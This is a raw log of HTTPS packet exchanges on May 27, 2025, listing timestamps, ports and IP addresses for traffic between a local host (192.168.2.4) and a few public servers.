May 27, 2025 20:51:52.580439091 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:52.580740929 CEST	49726	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:52.580804110 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:52.581043959 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:52.581132889 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:52.581213951 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:52.581295013 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:52.581880093 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:52.581969976 CEST	49726	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:52.581984043 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:52.582070112 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:52.582164049 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:52.582259893 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:52.582273006 CEST	49726	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:52.582343102 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:52.582357883 CEST	49726	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:52.582425117 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:52.582433939 CEST	49726	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:52.582509995 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:52.582515955 CEST	49726	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:52.582591057 CEST	49726	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:52.582923889 CEST	49726	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:52.583002090 CEST	49726	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:52.583014965 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:52.583072901 CEST	49726	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:52.583115101 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:52.583199024 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:52.583234072 CEST	49726	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:52.583287001 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:52.583324909 CEST	49726	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:52.583384991 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:52.583408117 CEST	49726	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:52.583467960 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:52.583482027 CEST	49726	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:52.583551884 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:52.583638906 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:52.583853006 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:52.584189892 CEST	49726	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:52.584314108 CEST	49726	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:52.584477901 CEST	49726	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:52.584988117 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:52.585099936 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:52.585186958 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:52.585279942 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:52.585365057 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:52.585444927 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:52.586405993 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:52.586780071 CEST	49748	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:52.589423895 CEST	49736	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:52.592272997 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:52.593771935 CEST	49726	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:52.593800068 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:52.612514019 CEST	49726	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:52.612582922 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:52.621128082 CEST	49726	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:52.621153116 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:52.628302097 CEST	443	49748	47.79.48.222	192.168.2.4
May 27, 2025 20:51:52.629740953 CEST	49726	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:52.629756927 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:52.629781961 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:52.629827023 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:52.629908085 CEST	49726	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:52.629923105 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:52.629947901 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:52.629986048 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:52.630013943 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:52.630184889 CEST	49726	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:52.630184889 CEST	49726	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:52.630202055 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:52.630223989 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:52.630264997 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:52.630292892 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:52.630328894 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:52.630347013 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:52.630878925 CEST	49726	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:52.630892992 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:52.630928993 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:52.630974054 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:52.630991936 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:52.631896973 CEST	49726	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:52.631911039 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:52.631946087 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:52.631992102 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:52.632013083 CEST	49726	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:52.632029057 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:52.632054090 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:52.632091999 CEST	49726	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:52.632128954 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:52.632173061 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:52.632191896 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:52.632213116 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:52.632296085 CEST	443	49736	159.138.57.153	192.168.2.4
May 27, 2025 20:51:52.632344007 CEST	49726	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:52.632358074 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:52.632380962 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:52.632420063 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:52.632461071 CEST	49726	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:52.632472992 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:52.632494926 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:52.632958889 CEST	49726	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:52.632968903 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:52.632992983 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:52.633044958 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:52.634795904 CEST	49726	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:52.634810925 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:52.634850025 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:52.634890079 CEST	49726	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:52.634900093 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:52.634958029 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:52.635001898 CEST	49726	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:52.635014057 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:52.635047913 CEST	49726	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:52.635061026 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:52.635083914 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:52.635117054 CEST	49726	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:52.635117054 CEST	49726	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:52.635128975 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:52.635149956 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:52.635201931 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:52.635227919 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:52.635317087 CEST	49726	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:52.635328054 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:52.635369062 CEST	49726	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:52.635369062 CEST	49726	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:52.635382891 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:52.635418892 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:52.635438919 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:52.635485888 CEST	49726	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:52.635485888 CEST	49726	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:52.635485888 CEST	49726	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:52.635502100 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:52.635540962 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:52.635567904 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:52.635600090 CEST	49726	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:52.635611057 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:52.635637045 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:52.635669947 CEST	49726	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:52.635679960 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:52.635803938 CEST	49726	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:52.635814905 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:52.636395931 CEST	49726	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:52.636409998 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:52.636513948 CEST	49726	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:52.636524916 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:52.636838913 CEST	49726	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:52.636888981 CEST	49726	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:52.637033939 CEST	49726	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:52.637077093 CEST	49726	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:52.637101889 CEST	49726	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:52.637130022 CEST	49726	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:52.673455000 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:52.673677921 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:52.674346924 CEST	49726	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:52.674400091 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:52.674592018 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:52.674757004 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:52.675956964 CEST	49726	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:52.676141024 CEST	49726	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:52.676196098 CEST	49726	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:52.721321106 CEST	443	49753	47.79.48.222	192.168.2.4
May 27, 2025 20:51:52.721359968 CEST	443	49753	47.79.48.222	192.168.2.4
May 27, 2025 20:51:52.721380949 CEST	443	49753	47.79.48.222	192.168.2.4
May 27, 2025 20:51:52.723556995 CEST	49753	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:52.723798037 CEST	443	49753	47.79.48.222	192.168.2.4
May 27, 2025 20:51:52.723830938 CEST	443	49753	47.79.48.222	192.168.2.4
May 27, 2025 20:51:52.723853111 CEST	443	49753	47.79.48.222	192.168.2.4
May 27, 2025 20:51:52.724065065 CEST	49753	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:52.724169970 CEST	49753	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:52.728136063 CEST	443	49753	47.79.48.222	192.168.2.4
May 27, 2025 20:51:52.728167057 CEST	443	49753	47.79.48.222	192.168.2.4
May 27, 2025 20:51:52.728218079 CEST	49753	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:52.728348970 CEST	49753	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:52.733323097 CEST	443	49753	47.79.48.222	192.168.2.4
May 27, 2025 20:51:52.733339071 CEST	443	49753	47.79.48.222	192.168.2.4
May 27, 2025 20:51:52.735013008 CEST	49753	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:52.738248110 CEST	49753	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:52.852235079 CEST	443	49755	13.249.126.78	192.168.2.4
May 27, 2025 20:51:52.852325916 CEST	49755	443	192.168.2.4	13.249.126.78
May 27, 2025 20:51:52.852644920 CEST	443	49736	159.138.57.153	192.168.2.4
May 27, 2025 20:51:52.852756977 CEST	443	49736	159.138.57.153	192.168.2.4
May 27, 2025 20:51:52.852785110 CEST	49736	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:52.852896929 CEST	49736	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:52.853435993 CEST	49755	443	192.168.2.4	13.249.126.78
May 27, 2025 20:51:52.853462934 CEST	443	49755	13.249.126.78	192.168.2.4
May 27, 2025 20:51:52.853570938 CEST	49755	443	192.168.2.4	13.249.126.78
May 27, 2025 20:51:52.853583097 CEST	443	49755	13.249.126.78	192.168.2.4
May 27, 2025 20:51:52.853710890 CEST	49755	443	192.168.2.4	13.249.126.78
May 27, 2025 20:51:52.853728056 CEST	443	49755	13.249.126.78	192.168.2.4
May 27, 2025 20:51:52.853996992 CEST	443	49755	13.249.126.78	192.168.2.4
May 27, 2025 20:51:52.854243994 CEST	49736	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:52.854269981 CEST	443	49736	159.138.57.153	192.168.2.4
May 27, 2025 20:51:52.854640007 CEST	443	49755	13.249.126.78	192.168.2.4
May 27, 2025 20:51:52.854698896 CEST	49755	443	192.168.2.4	13.249.126.78
May 27, 2025 20:51:52.854800940 CEST	49755	443	192.168.2.4	13.249.126.78
May 27, 2025 20:51:52.856055021 CEST	443	49755	13.249.126.78	192.168.2.4
May 27, 2025 20:51:52.910490036 CEST	49755	443	192.168.2.4	13.249.126.78
May 27, 2025 20:51:52.939030886 CEST	443	49748	47.79.48.222	192.168.2.4
May 27, 2025 20:51:52.939423084 CEST	443	49748	47.79.48.222	192.168.2.4
May 27, 2025 20:51:52.939430952 CEST	443	49748	47.79.48.222	192.168.2.4
May 27, 2025 20:51:52.939448118 CEST	443	49748	47.79.48.222	192.168.2.4
May 27, 2025 20:51:52.939452887 CEST	443	49748	47.79.48.222	192.168.2.4
May 27, 2025 20:51:52.939464092 CEST	443	49748	47.79.48.222	192.168.2.4
May 27, 2025 20:51:52.939878941 CEST	49748	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:52.939945936 CEST	443	49748	47.79.48.222	192.168.2.4
May 27, 2025 20:51:52.940743923 CEST	49748	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:52.957488060 CEST	443	49748	47.79.48.222	192.168.2.4
May 27, 2025 20:51:52.957505941 CEST	443	49748	47.79.48.222	192.168.2.4
May 27, 2025 20:51:52.957521915 CEST	443	49748	47.79.48.222	192.168.2.4
May 27, 2025 20:51:52.957531929 CEST	443	49748	47.79.48.222	192.168.2.4
May 27, 2025 20:51:52.957544088 CEST	443	49748	47.79.48.222	192.168.2.4
May 27, 2025 20:51:52.957550049 CEST	443	49748	47.79.48.222	192.168.2.4
May 27, 2025 20:51:52.972687960 CEST	49748	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:52.972944021 CEST	443	49748	47.79.48.222	192.168.2.4
May 27, 2025 20:51:52.972958088 CEST	443	49748	47.79.48.222	192.168.2.4
May 27, 2025 20:51:52.972975016 CEST	443	49748	47.79.48.222	192.168.2.4
May 27, 2025 20:51:52.972984076 CEST	443	49748	47.79.48.222	192.168.2.4
May 27, 2025 20:51:52.972996950 CEST	443	49748	47.79.48.222	192.168.2.4
May 27, 2025 20:51:52.973002911 CEST	443	49748	47.79.48.222	192.168.2.4
May 27, 2025 20:51:52.982189894 CEST	49748	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:52.983582020 CEST	49748	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:52.990744114 CEST	443	49748	47.79.48.222	192.168.2.4
May 27, 2025 20:51:52.990756035 CEST	443	49748	47.79.48.222	192.168.2.4
May 27, 2025 20:51:52.990772009 CEST	443	49748	47.79.48.222	192.168.2.4
May 27, 2025 20:51:52.990778923 CEST	443	49748	47.79.48.222	192.168.2.4
May 27, 2025 20:51:52.990798950 CEST	443	49748	47.79.48.222	192.168.2.4
May 27, 2025 20:51:52.990801096 CEST	443	49748	47.79.48.222	192.168.2.4
May 27, 2025 20:51:52.991461992 CEST	49748	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:52.992917061 CEST	49748	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:53.006289005 CEST	443	49748	47.79.48.222	192.168.2.4
May 27, 2025 20:51:53.006300926 CEST	443	49748	47.79.48.222	192.168.2.4
May 27, 2025 20:51:53.006320953 CEST	443	49748	47.79.48.222	192.168.2.4
May 27, 2025 20:51:53.006330967 CEST	443	49748	47.79.48.222	192.168.2.4
May 27, 2025 20:51:53.006344080 CEST	443	49748	47.79.48.222	192.168.2.4
May 27, 2025 20:51:53.006350040 CEST	443	49748	47.79.48.222	192.168.2.4
May 27, 2025 20:51:53.006361008 CEST	49748	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:53.006402016 CEST	49748	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:53.024415970 CEST	443	49748	47.79.48.222	192.168.2.4
May 27, 2025 20:51:53.024426937 CEST	443	49748	47.79.48.222	192.168.2.4
May 27, 2025 20:51:53.024450064 CEST	443	49748	47.79.48.222	192.168.2.4
May 27, 2025 20:51:53.024456024 CEST	443	49748	47.79.48.222	192.168.2.4
May 27, 2025 20:51:53.024612904 CEST	49748	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:53.024614096 CEST	49748	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:53.043140888 CEST	443	49748	47.79.48.222	192.168.2.4
May 27, 2025 20:51:53.043149948 CEST	443	49748	47.79.48.222	192.168.2.4
May 27, 2025 20:51:53.043173075 CEST	443	49748	47.79.48.222	192.168.2.4
May 27, 2025 20:51:53.043334961 CEST	49748	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:53.043334961 CEST	49748	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:53.044894934 CEST	443	49753	47.79.48.222	192.168.2.4
May 27, 2025 20:51:53.044904947 CEST	443	49753	47.79.48.222	192.168.2.4
May 27, 2025 20:51:53.047606945 CEST	49753	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:53.049678087 CEST	49753	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:53.049998999 CEST	443	49753	47.79.48.222	192.168.2.4
May 27, 2025 20:51:53.050012112 CEST	443	49753	47.79.48.222	192.168.2.4
May 27, 2025 20:51:53.050118923 CEST	49753	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:53.050174952 CEST	49753	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:53.051246881 CEST	443	49753	47.79.48.222	192.168.2.4
May 27, 2025 20:51:53.051259041 CEST	443	49753	47.79.48.222	192.168.2.4
May 27, 2025 20:51:53.051302910 CEST	443	49753	47.79.48.222	192.168.2.4
May 27, 2025 20:51:53.051328897 CEST	49753	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:53.051337004 CEST	443	49753	47.79.48.222	192.168.2.4
May 27, 2025 20:51:53.051356077 CEST	49753	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:53.051388025 CEST	49753	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:53.051415920 CEST	49753	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:53.053205967 CEST	443	49753	47.79.48.222	192.168.2.4
May 27, 2025 20:51:53.053277969 CEST	49753	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:53.053303957 CEST	49753	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:53.053953886 CEST	443	49753	47.79.48.222	192.168.2.4
May 27, 2025 20:51:53.054033041 CEST	49753	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:53.054064035 CEST	49753	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:53.054088116 CEST	49753	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:53.057116985 CEST	443	49753	47.79.48.222	192.168.2.4
May 27, 2025 20:51:53.057193995 CEST	49753	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:53.057219982 CEST	49753	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:53.058096886 CEST	443	49748	47.79.48.222	192.168.2.4
May 27, 2025 20:51:53.058124065 CEST	443	49748	47.79.48.222	192.168.2.4
May 27, 2025 20:51:53.058177948 CEST	49748	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:53.058203936 CEST	49748	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:53.066417933 CEST	443	49753	47.79.48.222	192.168.2.4
May 27, 2025 20:51:53.066652060 CEST	49753	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:53.066664934 CEST	49753	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:53.068533897 CEST	443	49753	47.79.48.222	192.168.2.4
May 27, 2025 20:51:53.068691969 CEST	49753	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:53.068733931 CEST	49753	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:53.069045067 CEST	443	49753	47.79.48.222	192.168.2.4
May 27, 2025 20:51:53.069120884 CEST	49753	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:53.069196939 CEST	49753	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:53.077691078 CEST	443	49748	47.79.48.222	192.168.2.4
May 27, 2025 20:51:53.077702999 CEST	443	49748	47.79.48.222	192.168.2.4
May 27, 2025 20:51:53.080574989 CEST	49748	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:53.080574989 CEST	49748	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:53.092935085 CEST	443	49748	47.79.48.222	192.168.2.4
May 27, 2025 20:51:53.092945099 CEST	443	49748	47.79.48.222	192.168.2.4
May 27, 2025 20:51:53.093590021 CEST	49748	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:53.097852945 CEST	49748	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:53.110167980 CEST	443	49748	47.79.48.222	192.168.2.4
May 27, 2025 20:51:53.110178947 CEST	443	49748	47.79.48.222	192.168.2.4
May 27, 2025 20:51:53.112011909 CEST	49748	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:53.112011909 CEST	49748	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:53.120094061 CEST	443	49736	159.138.57.153	192.168.2.4
May 27, 2025 20:51:53.120172977 CEST	443	49736	159.138.57.153	192.168.2.4
May 27, 2025 20:51:53.120172977 CEST	49736	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:53.120230913 CEST	49736	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:53.124145985 CEST	443	49748	47.79.48.222	192.168.2.4
May 27, 2025 20:51:53.127418041 CEST	49748	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:53.133728027 CEST	443	49755	13.249.126.78	192.168.2.4
May 27, 2025 20:51:53.133904934 CEST	443	49755	13.249.126.78	192.168.2.4
May 27, 2025 20:51:53.133965015 CEST	443	49755	13.249.126.78	192.168.2.4
May 27, 2025 20:51:53.134293079 CEST	49755	443	192.168.2.4	13.249.126.78
May 27, 2025 20:51:53.134876966 CEST	443	49755	13.249.126.78	192.168.2.4
May 27, 2025 20:51:53.135097980 CEST	49755	443	192.168.2.4	13.249.126.78
May 27, 2025 20:51:53.150445938 CEST	443	49736	159.138.57.153	192.168.2.4
May 27, 2025 20:51:53.150507927 CEST	443	49736	159.138.57.153	192.168.2.4
May 27, 2025 20:51:53.150521040 CEST	49736	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:53.150574923 CEST	49736	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:53.160589933 CEST	49748	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:53.160682917 CEST	443	49748	47.79.48.222	192.168.2.4
May 27, 2025 20:51:53.338432074 CEST	49756	443	192.168.2.4	13.249.126.115
May 27, 2025 20:51:53.338524103 CEST	443	49756	13.249.126.115	192.168.2.4
May 27, 2025 20:51:53.338681936 CEST	49756	443	192.168.2.4	13.249.126.115
May 27, 2025 20:51:53.339009047 CEST	49756	443	192.168.2.4	13.249.126.115
May 27, 2025 20:51:53.339035034 CEST	443	49756	13.249.126.115	192.168.2.4
May 27, 2025 20:51:53.370954990 CEST	443	49753	47.79.48.222	192.168.2.4
May 27, 2025 20:51:53.371047974 CEST	49753	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:53.371120930 CEST	49753	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:53.378632069 CEST	443	49753	47.79.48.222	192.168.2.4
May 27, 2025 20:51:53.378786087 CEST	49753	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:53.379065990 CEST	49753	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:53.381618023 CEST	443	49753	47.79.48.222	192.168.2.4
May 27, 2025 20:51:53.381716967 CEST	49753	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:53.381819963 CEST	49753	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:53.382570982 CEST	443	49753	47.79.48.222	192.168.2.4
May 27, 2025 20:51:53.382642031 CEST	49753	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:53.382713079 CEST	49753	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:53.384713888 CEST	443	49753	47.79.48.222	192.168.2.4
May 27, 2025 20:51:53.384736061 CEST	443	49753	47.79.48.222	192.168.2.4
May 27, 2025 20:51:53.384788990 CEST	49753	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:53.384804964 CEST	443	49753	47.79.48.222	192.168.2.4
May 27, 2025 20:51:53.384839058 CEST	49753	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:53.384865046 CEST	49753	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:53.384896994 CEST	49753	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:53.384923935 CEST	49753	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:53.385745049 CEST	443	49753	47.79.48.222	192.168.2.4
May 27, 2025 20:51:53.385823011 CEST	49753	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:53.385906935 CEST	49753	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:53.390227079 CEST	49748	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:53.390269041 CEST	443	49753	47.79.48.222	192.168.2.4
May 27, 2025 20:51:53.390626907 CEST	49753	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:53.391371012 CEST	443	49748	47.79.48.222	192.168.2.4
